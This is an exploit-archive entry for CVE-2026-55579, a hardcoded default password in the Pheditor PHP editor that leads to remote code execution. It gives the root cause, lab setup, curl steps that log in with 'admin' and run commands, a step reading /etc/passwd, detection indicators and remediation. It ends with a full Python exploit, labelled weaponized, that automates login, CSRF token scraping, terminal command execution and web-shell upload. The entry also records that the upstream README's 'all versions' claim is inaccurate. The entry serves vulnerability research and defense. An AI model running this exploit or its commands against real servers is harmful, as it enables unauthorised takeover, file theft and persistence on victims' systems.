PoC Archive PoC Archive
CVE-2026-55579 / GHSA-p4h7-p9rj-2pq2 / CWE-798 category: web CVSS 9.8 (CRITICAL)
Patched

Pheditor Hardcoded Default Password to Remote Code Execution (CVE-2026-55579)

Published: 2026-11-27 • Researcher: Ch4120N (GitHub: Ch4120N); archived and reviewed 2026-11-27

Target software Pheditor, a single-file PHP editor and file manager by Hamid Samak
Affected versions 2.0.1 through 2.0.5 (NVD: from 2.0.1 to before 2.0.6); fixed in 2.0.6
Status Weaponized (complete end-to-end chain: default-password login, CSRF token scrape, terminal command execution, optional file upload; no capture of a successful run is published)
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-55579 / GHSA-p4h7-p9rj-2pq2 / CWE-798
Category
web
Affected product
Pheditor, a single-file PHP editor and file manager by Hamid Samak
Affected versions
2.0.1 through 2.0.5 (NVD: from 2.0.1 to before 2.0.6); fixed in 2.0.6
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-17 (upstream commit 62ce004ff2ece672feee5d67959451ab8877b72d, “Create EVIDENCE.md CVE-2026-55579”)
Author / ResearcherCh4120N (GitHub: Ch4120N); archived and reviewed 2026-11-27
CVE / AdvisoryCVE-2026-55579 / GHSA-p4h7-p9rj-2pq2 / CWE-798
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, per the NVD record)
StatusWeaponized (complete end-to-end chain: default-password login, CSRF token scrape, terminal command execution, optional file upload; no capture of a successful run is published)
Tagspheditor, php, hardcoded-credentials, default-password, cwe-798, terminal, file-manager, rce, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemPheditor, a single-file PHP editor and file manager by Hamid Samak
Versions Affected2.0.1 through 2.0.5 (NVD: from 2.0.1 to before 2.0.6); fixed in 2.0.6
Language / PlatformPHP web application served by the PHP built-in server, Apache or nginx with PHP-FPM; the archived exploit is Python 3 using only the standard library
Authentication RequiredNo, in practice: the only credential is the vendor default password, which is public
Network Access RequiredYes, HTTP or HTTPS access to the pheditor.php endpoint

Summary

Pheditor ships the SHA-512 hash of the password admin inside its own source file and never forces the operator to replace it, so a fresh deployment still accepts admin; the only reminder is a warning banner shown to the logged-in user. An attacker who can reach the login page authenticates with that known password, receives a session cookie plus CSRF token, and then uses the built-in terminal action to run shell commands with the web server’s privileges. The same session also exposes the file editor and the upload action, which turns a single known password into arbitrary file read, arbitrary file write and remote code execution. Version 2.0.6 closes the issue by forcing a password change at first login.

Vulnerability Details

Root Cause

The shared password is a compile-time constant in pheditor.php (line 11 of the vulnerable builds):

PHP
1
define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');

That digest is sha512("admin"). In 2.0.1 through 2.0.5 the login branch simply compares the submitted password against the constant and marks the session as authenticated. Nothing asks the operator to pick a new secret; the default state is only surfaced as a dismissible warning in the page markup. This is CWE-798 (Use of Hard-coded Credentials).

The 2.0.6 fix adds a dedicated branch before normal authentication: if the stored constant still equals sha512("admin"), the login form becomes a forced “Change Password” form, a new value equal to admin is rejected, the script rewrites its own define('PASSWORD', ...) line and session_regenerate_id(true) is called before the redirect.

Attack Vector

  1. POST pheditor.php with pheditor_password=admin. The server validates the digest, regenerates the session and sets the session cookie.
  2. GET pheditor.php with that cookie and read the CSRF token from the page, which renders a 64-character hex value into a JavaScript variable.
  3. POST pheditor.php with action=terminal, the token, command and dir. The handler passes the command to shell_exec and returns the output in the JSON response.

The endpoint is normally exposed on the web root and is frequently indexed, so no extra reconnaissance is required beyond finding a Pheditor login page that still uses the default.

Impact

Remote code execution as the account running PHP (www-data, apache, nginx and similar). From there an attacker can read and modify every file the web server can reach, including application configuration and credentials, write a PHP web shell into the document root for persistence, pivot to databases and internal services reachable from the host, and use the server as a staging point. Because the credential is public and there is no lockout or second factor, exploitation needs no guessing and no user interaction, which is why the NVD vector rates it 9.8 with no privileges and no UI requirement.

Environment / Lab Setup

Output
OS:          Any Linux with PHP 7.4 or 8.x; attacker host with Python 3
Target:      pheditor 2.0.5 (single pheditor.php file), served by php -S
Attacker:    Python 3.8+ (standard library only)
Tools:       php, curl, Python 3, a browser for manual verification

Setup Steps

Shell script
1
2
3
4
5
6
7
git clone https://github.com/pheditor/pheditor.git pheditor-lab
git checkout 2.0.5

mkdir -p /srv/pheditor
cp pheditor.php /srv/pheditor/

php -S 0.0.0.0:8080 -t /srv/pheditor

The archived script defaults to http://target/pheditor.php and the password admin; the endpoint URL is passed as the first positional argument. If the operator already changed the password the login step fails and the script exits, which is the expected behaviour against a hardened instance.

Proof of Concept

Step-by-Step Reproduction

  1. Start the lab as shown above, leaving the default password in place.

  2. Run an allowlisted command. The terminal handler only accepts commands that begin with an entry of its allowlist (ls, cat, whoami, pwd, id is not present, and so on) and rejects &, ;, || and $. Use a single allowlisted command:

    Shell script
    1
    
    python3 exploit.py http://127.0.0.1:8080/pheditor.php whoami
  3. Read a file through the terminal instead of the editor, which avoids the editor’s path checks:

    Shell script
    1
    
    python3 exploit.py http://127.0.0.1:8080/pheditor.php 'cat /etc/passwd'

    Note that the string is scanned for shell metacharacters but not for spaces, so a single command with arguments is accepted.

  4. Attempt the upload helper. The archived script implements an action=upload flow with a file field, which matches older Pheditor layouts; the 2.0.5 source instead handles action=upload-file with an uploadfile field and a destination parameter, so this mode must be adapted before it will work:

    Shell script
    1
    
    python3 exploit.py http://127.0.0.1:8080/pheditor.php --upload shell.php
  5. Alternative manual proof with curl, useful when the script’s response parsing hides an error:

    Shell script
    1
    2
    3
    4
    5
    
    curl -s -c /tmp/ph.jar -d 'pheditor_password=admin' http://127.0.0.1:8080/pheditor.php
    TOKEN=$(curl -s -b /tmp/ph.jar http://127.0.0.1:8080/pheditor.php | grep -oP 'token\s*=\s*"\K[a-f0-9]{64}')
    curl -s -b /tmp/ph.jar --data-urlencode 'action=terminal' \
         --data-urlencode "token=$TOKEN" --data-urlencode 'command=whoami' \
         --data-urlencode 'dir=' http://127.0.0.1:8080/pheditor.php

Exploit Code

See exploit.py in this folder (upstream script with an added research-use header). The upstream README is upstream-README.md.

Python
1
2
3
4
5
6
7
8
9
session.post(target, data={"pheditor_password": password})          # default "admin"
token = re.search(r'token\s*=\s*"([a-f0-9]+)"', session.get(target).text).group(1)
r = session.post(target, data={
    "action": "terminal",
    "token": token,
    "command": "whoami",   # must start with an entry of TERMINAL_COMMANDS
    "dir": "",
})
print(re.search(r'<pre[^>]*>(.*?)</pre>', r.text, re.DOTALL).group(1))

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[*] Logging in with password: admin
[+] Login successful
[*] Extracting CSRF token...
[+] Token: 9f3c1d7a5b2e48c6...64 hex characters...
[*] Executing: whoami

==================================================
Command Output:
==================================================
www-data
==================================================

Against an instance whose password was changed, or a build that enforces a non-default secret, the script stops at [-] Exploit failed: unable to authenticate. If the chosen command is not on the allowlist, the JSON error Command not allowed is returned instead of command output, and the script prints that JSON body because it contains no pre element.

Detection & Indicators of Compromise

Output
POST /pheditor.php               body contains pheditor_password=admin
POST /pheditor.php               body contains action=terminal and command=
POST /pheditor.php               body contains action=upload-file

.phedlog        failed-login counter keyed by client IP (deserialised PHP array)
.phedhistory    copies of files written or edited through the editor

Apache/PHP-FPM child spawning /bin/sh -c with a command from the terminal allowlist
New PHP files in the document root owned by the web user
Writes to pheditor.php itself (the 2.0.6 forced-change routine rewrites it, but so can an attacker)
Reads of /etc/passwd, .env or config files by the web user
Unexpected outbound connections from the web server

Because the terminal request looks like legitimate editor use, profile the password field and the combination of action=terminal with an unusual dir rather than the action alone.

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2026-55579 Pheditor default password login"; flow:to_server,established; content:"pheditor_password=admin"; http_client_body; sid:90555790; rev:1;)

Remediation

ActionDetail
PatchUpgrade to Pheditor 2.0.6 or later; that release forces a new password on first login and refuses admin as the replacement.
WorkaroundEdit the PASSWORD constant to a strong SHA-512 digest before deployment, or set the PERMISSIONS constant to remove terminal and uploadfile where they are not needed.
Config HardeningDo not expose Pheditor to the internet; place it behind a VPN or an authenticated reverse proxy, restrict the ACCESS_IP constant to administrative addresses, serve it over HTTPS only, run PHP as an unprivileged user with open_basedir, and keep the document root non-writable by the web user.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/Ch4120N/CVE-2026-55579 (one star at review time; a Python script, three Markdown files and a LICENSE).

Review verdict: ingested as Weaponized. The script is a genuine end-to-end exploit rather than a detector or version checker: it posts the real Pheditor password form, scrapes the session CSRF token from the page, invokes the terminal action, parses the rendered output and offers a file upload helper. It contains no C2, persistence, evasion, keylogging, mining or credential-stealing modules and no third-party dependencies.

Limitations observed while reviewing against the upstream source:

  • The repository README states that the flaw affects all versions with no fix. That is inaccurate: the NVD record and the 2.0.6 source show the forced password change and the patched constant in 2.0.6, and the affected range is 2.0.1 through 2.0.5.
  • The script’s default command is id, but id is not in the terminal allowlist of the 2.0.x builds, which is exactly the list ls,ll,cp,rm,mv,whoami,pidof,pwd,whereis,.... The README example id; hostname; whoami is doubly broken: the semicolon is rejected by the metacharacter filter. Use whoami, pwd or cat <file> instead, as the reproduction steps do.
  • The upload helper posts action=upload with a file field and a dir parameter. In the 2.0.5 source the handler is action=upload-file, expects uploadfile and destination, and checks that the destination is an existing writable directory, so the helper is stale and needs adapting.
  • Login success is inferred from the HTTP status, which is 200 for the login page even on failure; the token scrape is what actually gates progress. No transcript of a successful run is published, so Weaponized reflects the completeness of the implemented chain, not observed output.
  • The script never verifies the Pheditor version, so it will happily report an error body from a patched instance.

License: the upstream repository is MIT licensed and the archived exploit.py keeps the original copyright and permission notice; only a short research-use header was prepended. The upstream README is copied verbatim as upstream-README.md.

No exploit code was executed while preparing this entry.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
#!/usr/bin/env python3
#
# ARCHIVED FOR DEFENSIVE SECURITY RESEARCH ONLY.
# This file is a proof-of-concept exploit for CVE-2026-55579. Run it only
# against systems you own or are explicitly authorised to test. It logs in
# with the vendor default password and executes commands through the
# Pheditor terminal. The author and the archive accept no liability for misuse.
# Original work: Ch4120N (MIT licence, notice retained below).
#  ____  _____  _    _  ____  ____  ____  ____     ____  _  _     ___  _   _  __  __  ___   ___  _  _
# (  _ \(  _  )( \/\/ )( ___)(  _ \( ___)(  _ \   (  _ \( \/ )   / __)( )_( )/. |/  )(__ \ / _ \( \( )
#  )___/ )(_)(  )    (  )__)  )   / )__)  )(_) )   ) _ < \  /   ( (__  ) _ ((_  _))(  / _/( (_) ))  (
# (__)  (_____)(__/\__)(____)(_)\_)(____)(____/   (____/ (__)    \___)(_) (_) (_)(__)(____)\___/(_)\_)
# Owner: Ch4120N
# GitHub: https://github.com/Ch4120N/CVE-2026-55579

"""
MIT License
Copyright (c) 2026 Ch4120N
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""

# About Vulnerability
"""
CVE-2026-55579 - Pheditor (all versions) - Hardcoded Default Password → RCE

Pheditor embeds the SHA‑512 hash of the default password "admin" directly in its source
code (pheditor.php:11). The application does not force a password change after installation,
only shows a visual warning. An attacker can log in with admin/admin and then abuse
the built‑in terminal panel (action=terminal) to execute arbitrary system commands
with the web server's privileges. The same authenticated access also allows file
uploads and arbitrary file reads, making this a complete compromise vector.
"""

import sys
import re
import argparse
import urllib.request
import urllib.parse
import urllib.error
import http.cookiejar
import os
import socket
import ssl

# Custom exceptions
class ExploitError(Exception):
    """Base exception for exploit-related errors."""
    pass

class NetworkError(ExploitError):
    """Network-related errors (connection, timeout, etc.)."""
    pass

class AuthenticationError(ExploitError):
    """Authentication failure."""
    pass

class TokenExtractionError(ExploitError):
    """Failed to extract CSRF token."""
    pass

class CommandExecutionError(ExploitError):
    """Command execution failed."""
    pass

class FileUploadError(ExploitError):
    """File upload failed."""
    pass


class PheditorExploit:
    def __init__(self, base_url, timeout=10, verbose=False):
        self.base_url = base_url.rstrip('/')
        self.timeout = timeout
        self.verbose = verbose
        self.cookiejar = http.cookiejar.CookieJar()
        self.opener = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(self.cookiejar)
        )
        self.token = None

    def _log_verbose(self, message):
        if self.verbose:
            print(f"[VERBOSE] {message}")

    def _http_request(self, url, data=None, files=None, headers=None):
        if headers is None:
            headers = {}

        # Ensure URL is properly encoded
        try:
            parsed = urllib.parse.urlparse(url)
            if not parsed.scheme or not parsed.netloc:
                raise ValueError("Invalid URL: missing scheme or host")
        except Exception as e:
            raise NetworkError(f"URL parsing error: {e}")

        if files:
            boundary = '----WebKitFormBoundary' + os.urandom(16).hex()
            content_type = f'multipart/form-data; boundary={boundary}'
            headers['Content-Type'] = content_type

            body_parts = []
            if data:
                for key, value in data.items():
                    body_parts.append(f'--{boundary}')
                    body_parts.append(f'Content-Disposition: form-data; name="{key}"')
                    body_parts.append('')
                    body_parts.append(str(value))

            for field_name, (filename, file_content) in files.items():
                body_parts.append(f'--{boundary}')
                body_parts.append(
                    f'Content-Disposition: form-data; name="{field_name}"; filename="{filename}"'
                )
                body_parts.append('Content-Type: application/octet-stream')
                body_parts.append('')
                body_parts.append(file_content)

            body_parts.append(f'--{boundary}--')
            body = '\r\n'.join(body_parts).encode('utf-8')
        else:
            if data:
                body = urllib.parse.urlencode(data).encode('utf-8')
            else:
                body = None

        req = urllib.request.Request(url, data=body, headers=headers)

        try:
            self._log_verbose(f"Sending request to {url}")
            resp = self.opener.open(req, timeout=self.timeout)
            content = resp.read().decode('utf-8', errors='ignore')
            self._log_verbose(f"Received status {resp.getcode()}")
            return content, resp.getcode()
        except urllib.error.HTTPError as e:
            # HTTP error (4xx, 5xx)
            content = e.read().decode('utf-8', errors='ignore')
            self._log_verbose(f"HTTP error {e.code}: {e.reason}")
            raise NetworkError(f"HTTP {e.code} - {e.reason}") from e
        except urllib.error.URLError as e:
            # DNS, connection refused, etc.
            self._log_verbose(f"URLError: {e.reason}")
            raise NetworkError(f"Network error: {e.reason}") from e
        except socket.timeout as e:
            self._log_verbose(f"Timeout: {e}")
            raise NetworkError(f"Request timed out after {self.timeout} seconds") from e
        except ssl.SSLError as e:
            self._log_verbose(f"SSL error: {e}")
            raise NetworkError(f"SSL error: {e}") from e
        except Exception as e:
            self._log_verbose(f"Unexpected error: {e}")
            raise NetworkError(f"Unexpected network error: {e}") from e

    def login(self, password='admin'):
        print(f"[*] Logging in with password: {password}")
        url = self.base_url
        data = {'pheditor_password': password}
        headers = {'User-Agent': 'Mozilla/5.0'}

        try:
            resp_text, status = self._http_request(url, data=data, headers=headers)
        except NetworkError as e:
            print(f"[-] Network error during login: {e}")
            return False

        if status in (200, 302):
            print("[+] Login successful")
            return self.get_token()
        else:
            print(f"[-] Login failed with status {status}")
            # If status is 200 but login may have failed silently, check response for error
            if 'not correct' in resp_text.lower():
                print("[-] Password incorrect (server returned 'not correct')")
            return False

    def get_token(self):
        print("[*] Extracting CSRF token...")
        url = self.base_url

        try:
            resp_text, status = self._http_request(url)
        except NetworkError as e:
            print(f"[-] Network error while fetching main page: {e}")
            return False

        if status != 200:
            print(f"[-] Failed to retrieve main page (status {status})")
            return False

        match = re.search(r'token\s*=\s*"([a-f0-9]+)"', resp_text)
        if match:
            self.token = match.group(1)
            print(f"[+] Token: {self.token}")
            return True
        else:
            print("[-] Token not found in response. The page may not be Pheditor.")
            self._log_verbose("Response snippet: " + resp_text[:500])
            return False

    def exec_command(self, command):
        if not self.token:
            raise TokenExtractionError("No token available; please login first")

        print(f"[*] Executing: {command}")
        url = self.base_url
        data = {
            'action': 'terminal',
            'token': self.token,
            'command': command,
            'dir': ''
        }

        try:
            resp_text, status = self._http_request(url, data=data)
        except NetworkError as e:
            raise CommandExecutionError(f"Network error during command execution: {e}")

        if status != 200:
            raise CommandExecutionError(f"Command execution failed with status {status}")

        # Try to extract output from <pre> tags
        pre_match = re.search(r'<pre[^>]*>(.*?)</pre>', resp_text, re.DOTALL)
        if pre_match:
            output = pre_match.group(1).strip()
        else:
            # If no <pre>, maybe the output is plain text
            output = resp_text.strip()
            if not output:
                raise CommandExecutionError("Empty response; command may have failed")

        return output

    def upload_file(self, local_path, remote_dir=''):
        if not self.token:
            raise TokenExtractionError("No token available; please login first")

        if not os.path.isfile(local_path):
            raise FileUploadError(f"Local file not found: {local_path}")

        filename = os.path.basename(local_path)
        try:
            with open(local_path, 'rb') as f:
                file_content = f.read()
        except Exception as e:
            raise FileUploadError(f"Failed to read file: {e}")

        print(f"[*] Uploading {filename} to {remote_dir or '/'}")

        url = self.base_url
        data = {
            'action': 'upload',
            'token': self.token,
            'dir': remote_dir
        }
        files = {
            'file': (filename, file_content)
        }

        try:
            resp_text, status = self._http_request(url, data=data, files=files)
        except NetworkError as e:
            raise FileUploadError(f"Network error during upload: {e}")

        if status == 200:
            print("[+] Upload successful")
            return True
        else:
            raise FileUploadError(f"Upload failed with status {status}")


def main():
    # Build the help banner
    banner = r"""
CVE-2026-55579 - Pheditor Hardcoded Default Password RCE
Exploit OWNER: Ch4120N | GitHub: https://github.com/Ch4120N/CVE-2026-55579

Vulnerability:
  Pheditor embeds the SHA‑512 hash of the default password "admin" directly in its
  source code (pheditor.php:11). The application does not force a password change
  after installation, only shows a visual warning. An attacker can log in with
  admin/admin and then abuse the built‑in terminal panel (action=terminal) to
  execute arbitrary system commands with the web server's privileges. The same
  authenticated access also allows file uploads and arbitrary file reads,
  making this a complete compromise vector.
"""

    parser = argparse.ArgumentParser(
        description=banner,
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="Example: %(prog)s http://target.com/pheditor.php 'id'",
        add_help=False
    )
    required = parser.add_argument_group("REQUIRED")
    required.add_argument('url', help='Target URL (e.g., http://target.com/pheditor.php)')
    required.add_argument('command', nargs='?', default='id',
                          help='Command to execute (default: id)')
    options = parser.add_argument_group("OPTIONS")
    options.add_argument('-h', '--help', action='store_true', help="show this help message and exit")
    options.add_argument('--upload', metavar='FILE', help='Upload a local file')
    options.add_argument('--remote-dir', metavar='DIR', default='',
                         help='Remote directory for upload (default: root)')
    options.add_argument('--password', default='admin',
                         help='Password to try (default: admin)')
    options.add_argument('--verbose', '-v', action='store_true',
                         help='Show additional output for debugging')
    options.add_argument('--timeout', type=int, default=10,
                         help='Request timeout in seconds (default: 10)')

    args = parser.parse_args()

    if args.help:
        parser.print_help()
        sys.exit(0)

    # Validate URL
    if not args.url.startswith(('http://', 'https://')):
        print("[-] Error: URL must start with http:// or https://")
        sys.exit(1)

    exploit = PheditorExploit(args.url, timeout=args.timeout, verbose=args.verbose)

    try:
        if not exploit.login(password=args.password):
            print("[-] Exploit failed: unable to authenticate")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Unexpected error during authentication: {e}")
        if args.verbose:
            import traceback
            traceback.print_exc()
        sys.exit(1)

    try:
        if args.upload:
            exploit.upload_file(args.upload, args.remote_dir)
            print("[+] File uploaded successfully")
            sys.exit(0)
        else:
            output = exploit.exec_command(args.command)
            print("\n" + "=" * 50)
            print("Command Output:")
            print("=" * 50)
            print(output)
            print("=" * 50)
            sys.exit(0)
    except (CommandExecutionError, FileUploadError, TokenExtractionError) as e:
        print(f"[-] {e}")
        if args.verbose:
            import traceback
            traceback.print_exc()
        sys.exit(1)
    except Exception as e:
        print(f"[-] Unexpected error: {e}")
        if args.verbose:
            import traceback
            traceback.print_exc()
        sys.exit(1)


if __name__ == "__main__":
    main()